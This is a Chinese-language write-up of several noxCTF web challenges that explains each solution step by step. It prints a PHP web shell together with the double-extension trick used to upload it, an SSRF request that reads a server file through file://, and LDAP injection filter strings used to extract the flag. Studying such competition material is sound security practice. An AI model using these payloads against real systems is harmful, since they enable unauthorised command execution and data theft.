额~菜鸡一枚,五题只做出四题,感觉学到了新知识,写了下writeup。
Web
Reference
What is your reference again?
打开网页,如下页面
查看源代码,发现其中的<script src="js/index.js"></script>
,点进去
嗯接着访问下,发现新的页面,抓包分析,添上头Referer: http://google.com
解码得到flag
最终答案:noxCTF{G0ogL3_1s_4lW4Ys_Ur_b3ST_R3f3r3nc3}
MyFileUploader
This is my new file uploader server. I bet you can't hack it!
是个上传题,写了个shell.txt
,内容为<?php system($_GET[‘cmd’]); ?>,尝试上传
There is no .png/.jpg/.gif in that file name
,尝试抓包改Content-Type:image/png
,发现无果。
再改名称为filename="shell.png.txt"
,成功上传,但是发现无法解析
再改名称为filename="shell.png.php"
,上传的路径为'uploads/shell.png'
,可见过滤到.php
再改名称为filename="shell.png.php.php"
,成功解析
执行命令,ls%20-la
,发现了个7H3-FL4G-1S-H3r3
,root
权限
再来一次命令:ls%207H3-FL4G-1S-H3r3
最终答案:noxCTF{N3V3R_7RU57_07H3R5}
hiddenDOM
I decided to create a tool that searches for
hidden elements inside a web pages.
Few days ago someone told me that my website is not so /secure/...
Can you check it yourself ?
此题说来,不算难,非常类似LCTF2017
的签到题(别问我怎么知道,那个时候连LCTF2017
的签到题都没做出来,印象特深),但又添加了其他的知识点,添加了题目的脑洞性(趣味性)。先放出LCTF2017
签到题的wrtieup
en~就是这么简单。
打开网页,发现了一些可疑之处,可以查看网页源代码部分,或者查看控制台。
其中js代码为以下,还给了个<a href='/var/www/html/flag.txt' hidden>-_-</a>
1 | var _0x3bc3=["\x6D\x61\x69\x6E\x5F\x66\x6F\x72\x6D","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x69\x6E\x70\x75\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x6E\x61\x6D\x65","\x65\x78\x70\x72\x65\x73\x73\x69\x6F\x6E","\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x74\x79\x70\x65","\x74\x65\x78\x74","\x70\x6C\x61\x63\x65\x68\x6F\x6C\x64\x65\x72","\x2F\x3C\x5B\x5E\x3C\x3E\x5D\x7B\x31\x2C\x7D\x68\x69\x64\x64\x65\x6E\x5B\x5E\x3C\x3E\x5D\x7B\x31\x2C\x7D\x3E\x2F"];var _frss=document[_0x3bc3[1]](_0x3bc3[0]);var _xEger=document[_0x3bc3[3]](_0x3bc3[2]);_xEger[_0x3bc3[6]](_0x3bc3[4],_0x3bc3[5]);_xEger[_0x3bc3[6]](_0x3bc3[7],_0x3bc3[8]);_xEger[_0x3bc3[6]](_0x3bc3[9],_0x3bc3[10]) |
尝试16
进制解码下
1 | var _frss = document['getElementById']('main_form'); |
em~,好像隐藏了什么东西,算了,先控制台调试下
发现调试_xEger
的时候,有
经过各种调试,可以发现,expression
这个控制了回显数据的完整性。
咯,我们测试一下,先提交http://13.59.2.198:5588/index.php?target=http://13.59.2.198:5588
,发现是隐藏的
再提交http://13.59.2.198:5588/index.php?target=http://13.59.2.198:5588&expression=/.*/
,发现成功显示出所有源代码。
好了,是不是有点奇怪得到这些,我们能干嘛呢?其实这题还考察了关于ssrf
相关的知识,file
、http
、ftp
的应用。是的,你猜的没错,前面源代码提示的<a href='/var/www/html/flag.txt' hidden>-_-</a>
,这个链接是打不开的。这里额外分析下,ssrf
的相关知识点,一般需要通过一些协议比如:ftp://
、ssh://
、dict://
、gopher://
、file://
等获取shell
或者一些敏感信息,此处非常这明显,flag.txt
我们打不开,但是又给了目录,所以通过file
协议读取成为解题的关键步骤
这里我们用file
协议去读flag
的目录,构造http://13.59.2.198:5588/index.php?target=file:///var/www/html/flag.txt
,发现是空的
通过上面的分析,我们再次构造,后面加上个&expression=/.*/
,得到flag
最终答案:noxCTF{/[h1DD3N]*[55Rf]*[r393X]*/}
Dictionary of obscure sorrows
There are a lot of obscure sorrows in our world.
Your job is not to find those that are plain in sight;
You need to seek further, look deeper.
Find the word that can not be written.
The most obscure sorrow of them all.
这题,先说说感受吧。感觉、有点小难度,但是可以通过学习,得到题解,关键是这次是我第一次玩LDAP注入,这种注入,感觉国内ctf
赛事,考察的不是很多。
打开链接,呈现以下网页。
手工fuzz
一番,发现无果。御剑、awvs
扫一番,awvs
倒是有一些线索,发现了word.php
再仔细查看了下网页的源代码,发现下面也有这些,是不是大惊小怪了?
难道是word.php
存在sql
注入?测试一波无果,但是接下来的发现,让我有了其他想法。
提示Missing RDN inside ObjectClass(document)
,网上搜索一番
许多词条都含有关键词LDAP
,搜索一番,学习了下LDAP基础概念(此处认真,仔细查看,否则后面看不懂)。再搜索一番LDAP
的安全问题,其中查询到LDAP
注入(菜鸡我第一次听到),继续搜索资料,找到LDAP ObjectClasses,其中有
再回头看看刚刚的
所以我们知道了ObjectClass
是 document
,又因为属于document
的有11
种
commonName
description
seeAlso
l
o
ou
documentTitle
documentVersion
documentAuthor
documentLocation
documentPublisher
测试一番发现,http://54.152.220.222/word.php?page=*)(|(no=*)
,回显页面如下
而http://54.152.220.222/word.php?page=*)(|(seeAlso=*)
也是同样的Query returned empty
,接下来的剩下的几种依次带进去,发现只有documentAuthor
、description
是正常的回显。
而我们又知道flag的格式是noxCTF{}
。再通过网上搜索学习,学习了有关的LDAP
注入的姿势,这里放出一道跟本题十分相似的链接,其中有以下页面
模仿构造http://54.152.220.222/word.php?page=*)(|(description=noxCTF*)
,可以得到flag
。
当然,也可以构造http://54.152.220.222/word.php?page=*)(description=noxCTF*
,得到flag
。
最终答案:noxCTF{K1NG_0F_LD4P}
此题相关资料链接:
Testing for LDAP Injection (OTG-INPVAL-006):https://www.owasp.org/index.php/Testing_for_LDAP_Injection_(OTG-INPVAL-006)
PSRF(未解决)
Swisslock is a new company in the Kubernetes security business.
Are they worth it?
打开是这么一个页面
测试
它将发送一个HTTP的GET
请求 http://35.241.245.36/api/v1/upload?url=http://your_url&method=get
,它会返回一个图像名称,并且SSRF
的结果将存储在http://35.241.245.36/images/
挑战在页面底部有kubernetes
徽标,如下面的屏幕截图,IP
为35.241.245.36
。
后面没测试出啥。。本题未解出。
此处有国外大佬的另类解法,觉得会影响到使用docker容器配置的比赛环境(orz
)